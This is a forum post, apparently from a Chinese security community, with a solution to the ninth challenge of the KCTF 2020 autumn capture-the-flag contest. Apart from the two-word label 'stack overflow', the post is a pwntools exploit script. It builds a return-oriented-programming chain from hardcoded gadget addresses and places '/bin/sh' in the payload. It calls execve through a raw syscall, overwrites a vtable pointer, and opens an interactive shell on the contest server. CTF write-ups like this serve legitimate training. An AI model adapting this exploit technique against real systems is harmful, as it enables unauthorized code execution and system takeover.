首页
社区
课程
招聘
KCTF2020秋季赛 第九题 命悬一线
2020-12-7 21:24 5788

KCTF2020秋季赛 第九题 命悬一线

2020-12-7 21:24
5788

栈溢出

from pwn import *

target_file = './pwn1'
context.log_level = 'warn'
context.binary = target_file


def get_io():
    if args['REMOTE']:
        io = remote('121.36.145.157', 9999)
    elif args['IDA']:
        io = process([
            './linux_server64'
        ])
    else:
        io = process([
            target_file
        ])
    return io


def test():
    io = get_io()
    if args['IDA']:
        io.recvuntil('Looking for GNU DWARF file')
        io.recvline()
    ea_buf = 0x6020C0
    buf = ''
    buf += p64(0x40185C)  # pop4
    buf += p64(0x4017E3)  # rcx=0
    buf += p64(0x40185A)  # init_pop
    buf += p64(0)  # rbx
    buf += p64(0)  # rbp
    buf += p64(ea_buf + 0x68)  # r12
    buf += p64(ea_buf + 0x58)  # r13, argv
    buf += p64(ea_buf + 0x50)  # r14, path
    buf += p64(59)  # r15, execve
    buf += p64(0x401840)  # init_call
    buf += '/bin/sh\x00'
    buf += p64(ea_buf + 0x50)  # argv[0]
    buf += p64(0)
    buf += p64(0x4017CC)  # syscall
    buf = buf.ljust(0xA0, 'A')
    buf += p64(ea_buf - 0x18)  # vtbl
    io.send(buf)
    io.interactive()
    return


test()



[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回